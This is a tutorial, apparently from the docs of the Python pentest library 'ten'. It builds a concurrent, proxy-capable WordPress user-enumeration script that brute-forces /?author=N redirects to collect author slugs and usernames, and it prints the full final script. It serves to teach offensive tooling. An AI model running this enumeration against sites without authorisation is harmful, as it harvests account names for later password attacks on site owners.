Tutorials and examples

Wordpress user enumeration

  • Concerns: flow, http

Although enumerating wordpress users isn't the most interesting part of a pentest, and it can be done by hundred of scripts, it's an interesting way to learn how to to build a simple script with ten, and then gradually improve it to make it more efficient, cleaner, and well-documented.

The goal is to list wordpress users (name and slug) using the well-known technique consisting in iterating over the author parameter: /?author=1, /?author=2, etc.

First, we'll do the most simple implementation possible.

First script

First, create a template using:

$ ten wordpress-enum.py

This opens a template script on your favourite editor. Our script necessarily requires a URL, so let's add the url as an input parameter:

@entry
def main(url):
    session = ScopedSession(url)

The arguments to the entry function are automatically mapped to CLI input. We can now run:

$ ./wordpress-enum.py http://target.com

If the author with ID 2 exists, fetching /?author=2 results in a redirect to /author/<slug-of-author>/. We'll start simple: let's just make a for loop that gets the HTTP response and extracts the slug. ten uses the same API as requests! We can use session.get to get the response. It does not, by default, follow redirects, however.

@entry
def main(url):
    session = ScopedSession(url)
    for id in range(1, 101):
        response = session.get("/", params={"author": id})
        if response.is_redirect:
            redirect = response.headers["location"]
            if "/author/" in redirect:
                slug = redirect.split("/")[-2]
                msg_info(f"Found author #{id} with slug {slug}")

Let's try out the script:

$ ./wordpress-enum.py http://target.com
[*] Found author #1 with slug user_smt
[*] Found author #3 with slug blogsmt-com
[*] Found author #9 with slug y-toma-fr
[*] Found author #10 with slug p-tim-fr
[*] Found author #11 with slug x-levieux-fr
[*] Found author #12 with slug hr-fr

It works fine, but we can improve the implementation in many, many ways:

  • Let the user pick the maximum user IDs to try out
  • Get username from the redirect page
  • Run requests concurrently
  • Let the user pick number of concurrent connections
  • Let the user pick a proxy
  • Add information about progress
  • Document the script

Let's tackle these one by one.

Adding parameters

Let's let the user pick the number of user IDs to bruteforce, defaulting to 100.

def main(url, max_users=100):
    session = ScopedSession(url)
    for id in range(1, max_users + 1):
        ...

It's as simple as this: since the default value is an integer, ten assumes the value needs to be numeric.

$ ./wordpress-enum.py http://target.com --max-users=10
[*] Found author #1 with slug user_smt
[*] Found author #3 with slug blogsmt-com
[*] Found author #9 with slug y-toma-fr
[*] Found author #10 with slug p-tim-fr

Or, with a shortcut:

$ ./wordpress-enum.py http://target.com -m 10

If we removed the default value, we'd have to tell ten that we expect an int using python's typing:

def main(url, max_users: int):

Get username from the redirect page

Generally, after the redirect, we land on the page describing the Wordpress author, and the HTML looks like:

<html>
...
<title>[name-of-user], author on Wordpress site<title>
...
</html>

As a result, we can follow the redirect;

response = response.follow_redirect()

and then use a CSS selector to extract the title's contents:

title = response.select_one("title").text

As a result, we obtain the username

@entry
def main(url, max_users=100):
    session = ScopedSession(url)
    for id in range(max_users):
        response = session.get("/", params={"author": id})
        if response.is_redirect:
            redirect = response.headers["location"]
            if "/author/" in redirect:
                slug = redirect.split("/")[-2]
                response = response.follow_redirect()
                title = response.select_one("title").text
                username = title.split(",", 1)[0]
                msg_info(f"Found author #{id} with slug {slug}: {username}")

Let's refactor the code a little bit to remove indent:

@entry
def main(url, max_users=100):
    session = ScopedSession(url)
    for id in range(max_users):
        response = session.get("/", params={"author": id})
        if not response.is_redirect:
            continue
        redirect = response.headers["location"]
        if not "/author/" in redirect:
            continue
        slug = redirect.split("/")[-2]
        response = response.follow_redirect()
        username = response.select_one("title").text.split(",", 1)[0]
        msg_info(f"Found author #{id} with slug {slug}: {username}")

Running requests concurrently

At the moment, we run each HTTP request one by one. We can improve the process by running them concurrently. There are several ways to do this, but since we want to keep each response, we can just use multi():

responses = session.multi().get("/", params={"author": Multi(range(1, max_users+1))})

Session.multi() returns a list of responses, where each request is submitted once per value in the Multi() instance. Here, we thus get a request to /?author=1, /?author=2, etc. The requests are run concurrently. The requests are then returned in the same order as they were submitted.

We then need to iterate over the responses as we did before:

for id, response in enumerate(responses, start=1):
    ...

We are here in a simple case were it is easy to find the id from the index of the response in the list: the nth response corresponds to id n. However, sometimes the multis might not be numerical; you can also get this value from the tag element of the response:

for response in responses:
    id = response.tag["params", "author"]
    ...

Let user pick number of connections

By default, a session maintains, at most, 10 concurrent connections. We might want to let the user pick this themselves:

@entry
def main(url, max_users=100, max_connections=10):
    session = ScopedSession(url, max_connections=max_connections)

Allow for a proxy

While attacking stuff on the internet, you often need to use proxies. Setting Session.proxies to a string automatically uses it for all requests:

@entry
def main(url, max_users=100, max_connections=10, proxy=None):
    session = ScopedSession(url, max_connections=max_connections)
    session.proxies = proxy

We now have a pretty clean script with a few customizable options. Let's make the script ready for release with a cleaner GUI, documentation, etc.

Add a progress bar

Multi can display a progress bar indicating its progress. Simply add a description argument describing what is happening:

@entry
def main(url, max_users=100, max_connections=10):
    session = ScopedSession(url, max_connections=max_connections)
    responses = session.multi(
        description="Bruteforcing author IDs"
    ).get("/", params={"author": Multi(range(max_users))})

Now, you get a beautiful progress bar while the process is running.

The second step of the exploitation, which resolves the redirects, should be faster, so it does not need a progress bar. Let's just add a spinner to point out that it is running:

with msg_status("Resolving usernames..."):
    for response in responses:
        ...

Documentation

Our program is now fast and it looks good. We need to handle the most dreaded step of development: documentation. If we run --help right now, we get the strict minimum:

./wordpress-enum.py --help                                                 
Usage: wordpress-enum.py [-h] [-m MAX_USERS] [-M MAX_CONNECTIONS] [-p PROXY] url

Positional Arguments:
  url

Options:
  -h, --help            show this help message and exit
  -m, --max-users MAX_USERS
  -M, --max-connections MAX_CONNECTIONS
  -p, --proxy PROXY

We'll document the script and its parameters in a blink. Let's start by adding a documentation to the main entrypoint.

@entry
def main(url, max_users=100, max_connections=10, proxy=None):
    """Obtains Wordpress user slugs and usernames by bruteforcing author IDs.
    """

The help message gets a little bit better. However, we should also document arguments. This can be done by using arg("name", "description"):

@entry
@arg("url", "URL of the WP website")
@arg("max_users", "Maximum amount of user IDs to bruteforce")
@arg("max_connections", "Maximum number of concurrent connections")
@arg("proxy", "Optional proxy to use")
def main(url, max_users=100, max_connections=10, proxy=None):
    """Obtains Wordpress user slugs and usernames by bruteforcing author IDs.
    """

That's it ! Our program is documented, and ready for release.

./wordpress-enum.py --help
Usage: wordpress-enum.py [-h] [-m MAX_USERS] [-M MAX_CONNECTIONS] [-p PROXY] url

Obtains Wordpress user slugs and usernames by bruteforcing author IDs.

Positional Arguments:
  url                   URL of the WP website

Options:
  -h, --help            show this help message and exit
  -m, --max-users MAX_USERS
                        Maximum amount of user IDs to bruteforce
  -M, --max-connections MAX_CONNECTIONS
                        Maximum number of concurrent connections
  -p, --proxy PROXY     Optional proxy to use

We are ready to go !

Here's the final script:

#!/usr/bin/env python3

from ten import *


@entry
@arg("url", "URL of the WP website")
@arg("max_users", "Maximum amount of user IDs to bruteforce")
@arg("max_connections", "Maximum number of concurrent connections")
@arg("proxy", "Optional proxy to use")
def main(url, max_users=100, max_connections=10, proxy=None):
    """Obtains Wordpress user slugs and usernames by bruteforcing author IDs.
    """
    session = ScopedSession(url, max_connections=max_connections)
    session.proxies = proxy
    responses = session.multi(
        description="Bruteforcing author IDs"
    ).get("/", params={"author": Multi(range(max_users))})

    with msg_status("Resolving usernames..."):
        for response in responses:
            id = response.tag["params", "author"]
            if not response.is_redirect:
                continue
            redirect = response.headers["location"]
            if not "/author/" in redirect:
                continue
            slug = redirect.split("/")[-2]
            response = response.follow_redirect()
            username = response.select_one("title").text.split(",", 1)[0]
            msg_info(f"Found author #{id} with slug {slug}: {username}")

main()